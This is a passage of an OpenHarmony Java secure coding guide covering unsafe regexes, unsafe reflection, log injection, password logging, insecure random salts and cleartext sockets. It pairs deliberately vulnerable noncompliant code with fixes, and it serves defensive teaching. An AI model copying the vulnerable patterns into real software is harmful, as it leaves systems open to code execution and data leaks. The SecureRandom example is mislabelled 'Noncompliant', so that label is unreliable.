1850e41f4b71Sopenharmony_ci    }
1851e41f4b71Sopenharmony_ci    ...
1852e41f4b71Sopenharmony_ci}
1853e41f4b71Sopenharmony_ci```
1854e41f4b71Sopenharmony_ci
1855e41f4b71Sopenharmony_ciThis compliant code example simplifies the regex into `a[bc]+d` without changing the function, eliminating the ReDoS risk.
1856e41f4b71Sopenharmony_ci
1857e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1858e41f4b71Sopenharmony_ci
1859e41f4b71Sopenharmony_ci```java
1860e41f4b71Sopenharmony_ciString key = request.getParameter("keyword");
1861e41f4b71Sopenharmony_ci...
1862e41f4b71Sopenharmony_ciString regex = "[a-zA-Z0-9_-]+@" + key + "\\.com";
1863e41f4b71Sopenharmony_ciPattern searchPattern = Pattern.compile(regex);
1864e41f4b71Sopenharmony_ci...
1865e41f4b71Sopenharmony_ci```
1866e41f4b71Sopenharmony_ci
1867e41f4b71Sopenharmony_ciThis noncompliant code example uses the keyword specified by an external input source to construct the regex. The ReDoS risk may occur when the keyword contains repetitive groups. Therefore, during code development, do not use external data directly as regexes or to construct regexes.
1868e41f4b71Sopenharmony_ci
1869e41f4b71Sopenharmony_ci## Do not use external data directly as the class or method name in the reflection operation
1870e41f4b71Sopenharmony_ci
1871e41f4b71Sopenharmony_ci**\[Description]**
1872e41f4b71Sopenharmony_ci
1873e41f4b71Sopenharmony_ciUsing external data as the class or method name in the reflection operation can lead to an unexpected logic process, that is, unsafe reflection. This can be exploited by ill-intentioned users to bypass security checks or execute arbitrary code. If external data is required for reflection operations, the data must be validated against a class or method trustlist. Besides, the program could also allow users to select classes or methods in a given scope to protect reflection operations.
1874e41f4b71Sopenharmony_ci
1875e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1876e41f4b71Sopenharmony_ci
1877e41f4b71Sopenharmony_ci```java
1878e41f4b71Sopenharmony_ciString className = request.getParameter("class");
1879e41f4b71Sopenharmony_ci...
1880e41f4b71Sopenharmony_ciClass objClass = Class.forName(className);
1881e41f4b71Sopenharmony_ciBaseClass obj = (BaseClass) objClass.newInstance();
1882e41f4b71Sopenharmony_ciobj.doSomething();
1883e41f4b71Sopenharmony_ci```
1884e41f4b71Sopenharmony_ci
1885e41f4b71Sopenharmony_ciThis noncompliant code example uses an external class name to directly construct an object through reflection. An ill-intentioned user can construct a malicious `BaseClass` subclass object, take control over a `BaseClass` subclass, and execute arbitrary code in the `doSomething()` method of the subclass. An ill-intentioned user can further use the code to execute the default constructor of any class. Even if a `ClassCastException` is thrown in class conversion, the code in the constructor is executed as expected by the ill-intentioned user.
1886e41f4b71Sopenharmony_ci
1887e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
1888e41f4b71Sopenharmony_ci
1889e41f4b71Sopenharmony_ci```java
1890e41f4b71Sopenharmony_ciString classIndex = request.getParameter("classIndex");
1891e41f4b71Sopenharmony_ciString className = (String) reflectClassesMap.get(classIndex);
1892e41f4b71Sopenharmony_ciif (className != null) {
1893e41f4b71Sopenharmony_ci    Class objClass = Class.forName(className);
1894e41f4b71Sopenharmony_ci    BaseClass obj = (BaseClass) objClass.newInstance();
1895e41f4b71Sopenharmony_ci    obj.doSomething();
1896e41f4b71Sopenharmony_ci} else {
1897e41f4b71Sopenharmony_ci    throw new IllegalStateException("Invalid reflect class!");
1898e41f4b71Sopenharmony_ci}
1899e41f4b71Sopenharmony_ci...
1900e41f4b71Sopenharmony_ci```
1901e41f4b71Sopenharmony_ci
1902e41f4b71Sopenharmony_ciIn this compliant code example, an external user can only specify the class index. If this class index can be mapped to a class name, the reflection operation is performed; if not, the program considers it invalid.
1903e41f4b71Sopenharmony_ci
1904e41f4b71Sopenharmony_ci# Log Auditing
1905e41f4b71Sopenharmony_ci
1906e41f4b71Sopenharmony_ci#### Do not log external data
1907e41f4b71Sopenharmony_ci
1908e41f4b71Sopenharmony_ci**\[Description]**
1909e41f4b71Sopenharmony_ci
1910e41f4b71Sopenharmony_ciRecording external data into logs may incur the following risks:
1911e41f4b71Sopenharmony_ci
1912e41f4b71Sopenharmony_ci- Log injection: Ill-intentioned users can use characters such as carriage returns and line feeds to inject a complete log.
1913e41f4b71Sopenharmony_ci- Leak of sensitive information: Recording user-supplied sensitive information into logs may leak the sensitive information.
1914e41f4b71Sopenharmony_ci- Junk log or log overwriting: If a user enters very long strings, a large number of junk logs may be generated. If logs are cyclically overwritten, valid logs may be maliciously overwritten.
1915e41f4b71Sopenharmony_ci
1916e41f4b71Sopenharmony_ciTherefore, do not record external data in logs. If external data must be logged, validate and sanitize the external data and truncate long strings. Before being recorded in logs, sensitive data such as keys and passwords must be masked with a fixed number of asterisks (\*), and other sensitive data, such as mobile numbers and email addresses, need to be anonymized.
1917e41f4b71Sopenharmony_ci
1918e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1919e41f4b71Sopenharmony_ci
1920e41f4b71Sopenharmony_ci```java
1921e41f4b71Sopenharmony_ciString jsonData = getRequestBodyData(request);
1922e41f4b71Sopenharmony_ciif (!validateRequestData(jsonData)) {
1923e41f4b71Sopenharmony_ci    LOG.error("Request data validate fail! Request Data : " + jsonData);
1924e41f4b71Sopenharmony_ci}
1925e41f4b71Sopenharmony_ci```
1926e41f4b71Sopenharmony_ci
1927e41f4b71Sopenharmony_ciIn this noncompliant code example, the requested JSON data will be directly logged when the validation fails. Sensitive data, if any, in the JSON string may be leaked. An ill-intentioned user can use carriage returns and line feeds to inject a crafted log into the JSON string. A long JSON string can lead to redundant logs.
1928e41f4b71Sopenharmony_ci
1929e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
1930e41f4b71Sopenharmony_ci
1931e41f4b71Sopenharmony_ciNewline characters, such as **\\r\\n** in external data, could be replaced before being recorded in logs to prevent log injection. The following code example shows a compliant implementation:
1932e41f4b71Sopenharmony_ci
1933e41f4b71Sopenharmony_ci```java
1934e41f4b71Sopenharmony_cipublic String replaceCRLF(String message) {
1935e41f4b71Sopenharmony_ci    if (message == null) {
1936e41f4b71Sopenharmony_ci        return "";
1937e41f4b71Sopenharmony_ci    }
1938e41f4b71Sopenharmony_ci    return message.replace('\n', '_').replace('\r', '_');
1939e41f4b71Sopenharmony_ci}
1940e41f4b71Sopenharmony_ci```
1941e41f4b71Sopenharmony_ci
1942e41f4b71Sopenharmony_ci#### Do not log sensitive information such as passwords and keys
1943e41f4b71Sopenharmony_ci
1944e41f4b71Sopenharmony_ci**\[Description]**
1945e41f4b71Sopenharmony_ci
1946e41f4b71Sopenharmony_ciSensitive data, such as passwords and keys as well as their ciphertext forms, shall not be recorded in logs. Otherwise, the sensitive data may be leaked. If such data is absolutely needed in logs, replace it with a fixed number of asterisks (\*).
1947e41f4b71Sopenharmony_ci
1948e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1949e41f4b71Sopenharmony_ci
1950e41f4b71Sopenharmony_ci```java
1951e41f4b71Sopenharmony_ciprivate static final Logger LOGGER = Logger.getLogger(TestCase1.class);
1952e41f4b71Sopenharmony_ci...
1953e41f4b71Sopenharmony_ciLOGGER.info("Login success, user is " + userName + ", password is " +
1954e41f4b71Sopenharmony_ci    encrypt(pwd.getBytes(StandardCharsets.UTF_8)));
1955e41f4b71Sopenharmony_ci```
1956e41f4b71Sopenharmony_ci
1957e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
1958e41f4b71Sopenharmony_ci
1959e41f4b71Sopenharmony_ci```java
1960e41f4b71Sopenharmony_ciprivate static final Logger LOGGER = Logger.getLogger(TestCase1.class);
1961e41f4b71Sopenharmony_ci...
1962e41f4b71Sopenharmony_ciLOGGER.info("Login success, user is " + userName + ", password is ********.");
1963e41f4b71Sopenharmony_ci```
1964e41f4b71Sopenharmony_ci
1965e41f4b71Sopenharmony_ci# Performance and Resource Management
1966e41f4b71Sopenharmony_ci
1967e41f4b71Sopenharmony_ci#### Release resources in **try-with-resource** or **finally** during I/O operations
1968e41f4b71Sopenharmony_ci
1969e41f4b71Sopenharmony_ci**\[Description]**
1970e41f4b71Sopenharmony_ci
1971e41f4b71Sopenharmony_ciResources need to be released in a timely manner when they are no longer needed. However, when exceptions occur, resource release is often ignored. This requires explicitly use of `close()` or another method in the **finally** block of the **try-catch-finally** structure to release resources during database and I/O operations. If multiple I/O objects need to be released using `close()`, each `close()` invocation must be done in a separate **try-catch** structure, so as to prevent a release failure of one I/O object from affecting the release of other I/O objects.
1972e41f4b71Sopenharmony_ci
1973e41f4b71Sopenharmony_ciJava 7 provides the automatic resource management feature **try-with-resource**. It takes precedence over **try-finally**, so the resulting code is more concise and clear, and the resulting exceptions are more valuable. Especially for multiple resources or exceptions, **try-finally** may lose the previous exception, while **try-with-resource** retains the first exception and treats subsequent exceptions as suppressed exceptions, which can be checked based on the array returned by `getSuppressed()`.
1974e41f4b71Sopenharmony_ci
1975e41f4b71Sopenharmony_ci**try-finally** is also used in scenarios such as `lock()` and `unlock()`.
1976e41f4b71Sopenharmony_ci
1977e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
1978e41f4b71Sopenharmony_ci
1979e41f4b71Sopenharmony_ci```java
1980e41f4b71Sopenharmony_citry (FileInputStream in = new FileInputStream(inputFileName);
1981e41f4b71Sopenharmony_ci    FileOutputStream out = new FileOutputStream(outputFileName)) {
1982e41f4b71Sopenharmony_ci    copy(in, out);
1983e41f4b71Sopenharmony_ci}
1984e41f4b71Sopenharmony_ci```
1985e41f4b71Sopenharmony_ci
1986e41f4b71Sopenharmony_ci# Miscellaneous
1987e41f4b71Sopenharmony_ci
1988e41f4b71Sopenharmony_ci#### Use cryptographically secure random numbers in security scenarios
1989e41f4b71Sopenharmony_ci
1990e41f4b71Sopenharmony_ci**\[Description]**
1991e41f4b71Sopenharmony_ci
1992e41f4b71Sopenharmony_ciInsecure random numbers may be partially or entirely predicted, causing security risks in the system. Therefore, cryptographically secure random numbers must be used in security scenarios. Cryptographic secure random numbers fall into two types:
1993e41f4b71Sopenharmony_ci
1994e41f4b71Sopenharmony_ci- Random numbers generated by true random number generators (TRNGs).
1995e41f4b71Sopenharmony_ci- Random numbers generated by pseudo random number generators (PRNGs) which use the few random numbers generated by TRNGs as seeds
1996e41f4b71Sopenharmony_ci
1997e41f4b71Sopenharmony_ciIn Java, `SecureRandom` is a cryptographically secure PRNG. When using PRNGs to generate random numbers, make sure to use true random numbers as seeds.
1998e41f4b71Sopenharmony_ci
1999e41f4b71Sopenharmony_ciCommon security scenarios include:
2000e41f4b71Sopenharmony_ci
2001e41f4b71Sopenharmony_ci- Generation of IVs, salts, keys, etc. for cryptographic algorithm purposes
2002e41f4b71Sopenharmony_ci- Generation of session IDs
2003e41f4b71Sopenharmony_ci- Generation of random numbers in the challenge algorithm
2004e41f4b71Sopenharmony_ci- Generation of random numbers of verification codes
2005e41f4b71Sopenharmony_ci
2006e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
2007e41f4b71Sopenharmony_ci
2008e41f4b71Sopenharmony_ci```java
2009e41f4b71Sopenharmony_cipublic byte[] generateSalt() {
2010e41f4b71Sopenharmony_ci    byte[] salt = new byte[8];
2011e41f4b71Sopenharmony_ci    Random random = new Random(123456L);
2012e41f4b71Sopenharmony_ci    random.nextBytes(salt);
2013e41f4b71Sopenharmony_ci    return salt;
2014e41f4b71Sopenharmony_ci}
2015e41f4b71Sopenharmony_ci```
2016e41f4b71Sopenharmony_ci
2017e41f4b71Sopenharmony_ci`Random` only generates insecure random numbers, which cannot be used as salts.
2018e41f4b71Sopenharmony_ci
2019e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
2020e41f4b71Sopenharmony_ci
2021e41f4b71Sopenharmony_ci```java
2022e41f4b71Sopenharmony_cipublic byte[] generateSalt() {
2023e41f4b71Sopenharmony_ci    byte[] salt = new byte[8];
2024e41f4b71Sopenharmony_ci    SecureRandom random = new SecureRandom();
2025e41f4b71Sopenharmony_ci    random.nextBytes(salt);
2026e41f4b71Sopenharmony_ci    return salt;
2027e41f4b71Sopenharmony_ci}
2028e41f4b71Sopenharmony_ci```
2029e41f4b71Sopenharmony_ci
2030e41f4b71Sopenharmony_ci#### Use SSLSocket, but not Socket, for secure data exchange
2031e41f4b71Sopenharmony_ci
2032e41f4b71Sopenharmony_ci**\[Description]**
2033e41f4b71Sopenharmony_ci
2034e41f4b71Sopenharmony_ciPrograms must use SSLSocket, but not Socket, for network communications involving cleartext sensitive information. Socket provides cleartext communication wherein the sensitive data may be intercepted by attackers, so that the attackers can launch man-in-the-middle attacks to tamper with packets. SSLSocket provides security protection on the basis of Socket, such as identity authentication, data encryption, and integrity protection.
2035e41f4b71Sopenharmony_ci
2036e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
2037e41f4b71Sopenharmony_ci
2038e41f4b71Sopenharmony_ci```java
2039e41f4b71Sopenharmony_citry {
2040e41f4b71Sopenharmony_ci    Socket socket = new Socket();
2041e41f4b71Sopenharmony_ci    socket.connect(new InetSocketAddress(ip, port), 10000);
2042e41f4b71Sopenharmony_ci    os = socket.getOutputStream();
2043e41f4b71Sopenharmony_ci    os.write(userInfo.getBytes(StandardCharsets.UTF_8));
2044e41f4b71Sopenharmony_ci    ...
2045e41f4b71Sopenharmony_ci} catch (IOException ex) {
2046e41f4b71Sopenharmony_ci    //Handle the exception
2047e41f4b71Sopenharmony_ci} finally {
2048e41f4b71Sopenharmony_ci    //Close the stream
2049e41f4b71Sopenharmony_ci}
2050e41f4b71Sopenharmony_ci```
2051e41f4b71Sopenharmony_ci
2052e41f4b71Sopenharmony_ciThis noncompliant code example uses Socket to transfer cleartext packets. Sensitive information, if any, in the packets may be leaked or tampered with.
2053e41f4b71Sopenharmony_ci
2054e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
2055e41f4b71Sopenharmony_ci
2056e41f4b71Sopenharmony_ci```java
2057e41f4b71Sopenharmony_citry {
2058e41f4b71Sopenharmony_ci    SSLSocketFactory sslSocketFactory =
2059e41f4b71Sopenharmony_ci        (SSLSocketFactory) SSLSocketFactory.getDefault();
2060e41f4b71Sopenharmony_ci    SSLSocket sslSocket = (SSLSocket) sslSocketFactory.createSocket(ip, port);
2061e41f4b71Sopenharmony_ci    os = sslSocket.getOutputStream();
2062e41f4b71Sopenharmony_ci    os.write(userInfo.getBytes(StandardCharsets.UTF_8));
2063e41f4b71Sopenharmony_ci    ...
2064e41f4b71Sopenharmony_ci} catch (IOException ex) {
2065e41f4b71Sopenharmony_ci    //Handle the exception
2066e41f4b71Sopenharmony_ci} finally {
2067e41f4b71Sopenharmony_ci    //Close the stream
2068e41f4b71Sopenharmony_ci}
2069e41f4b71Sopenharmony_ci```
2070e41f4b71Sopenharmony_ci
2071e41f4b71Sopenharmony_ciThis compliant code example uses SSLSocket to protect packets using SSL/TLS.
2072e41f4b71Sopenharmony_ci
2073e41f4b71Sopenharmony_ci**\[Exception]**
2074e41f4b71Sopenharmony_ci
2075e41f4b71Sopenharmony_ciThe mechanisms that SSLSocket provides to ensure the secure transfer of packets may result in significant performance overhead. Regular sockets are sufficient under the following circumstances:
2076e41f4b71Sopenharmony_ci
2077e41f4b71Sopenharmony_ci- The data being sent over the socket is not sensitive.
2078e41f4b71Sopenharmony_ci- The data is sensitive but properly encrypted.
2079e41f4b71Sopenharmony_ci
2080e41f4b71Sopenharmony_ci#### Avoid public network addresses in code
2081e41f4b71Sopenharmony_ci
2082e41f4b71Sopenharmony_ci
2083e41f4b71Sopenharmony_ci
2084e41f4b71Sopenharmony_ci**\[Description]**
2085e41f4b71Sopenharmony_ci
2086e41f4b71Sopenharmony_ciProviding public network addresses that are invisible and unknown to users in code or scripts can raise doubts among customers.
2087e41f4b71Sopenharmony_ci
2088e41f4b71Sopenharmony_ciPublic network addresses (including public IP addresses, public URLs/domain names, and email addresses) contained in the released software (including software packages and patch packages) must meet the following requirements: 
2089e41f4b71Sopenharmony_ci1\. Avoid public network addresses that are invisible on UIs or not disclosed in product documentation. 
2090e41f4b71Sopenharmony_ci2\. Do not write disclosed public IP addresses in code or scripts. They can be stored in configuration files or databases.
2091e41f4b71Sopenharmony_ci
2092e41f4b71Sopenharmony_ciThe public IP addresses built in open-source or third-party software must meet the first requirement.
2093e41f4b71Sopenharmony_ci
2094e41f4b71Sopenharmony_ci**\[Exception]**
2095e41f4b71Sopenharmony_ci
2096e41f4b71Sopenharmony_ciThis requirement is not mandatory when public network addresses must be specified as required by standard protocols. For example, an assembled public network URL must be specified for the namespace of functions based on the SOAP protocol. W3.org addresses on HTTP pages and feature names in XML parsers are also exceptions.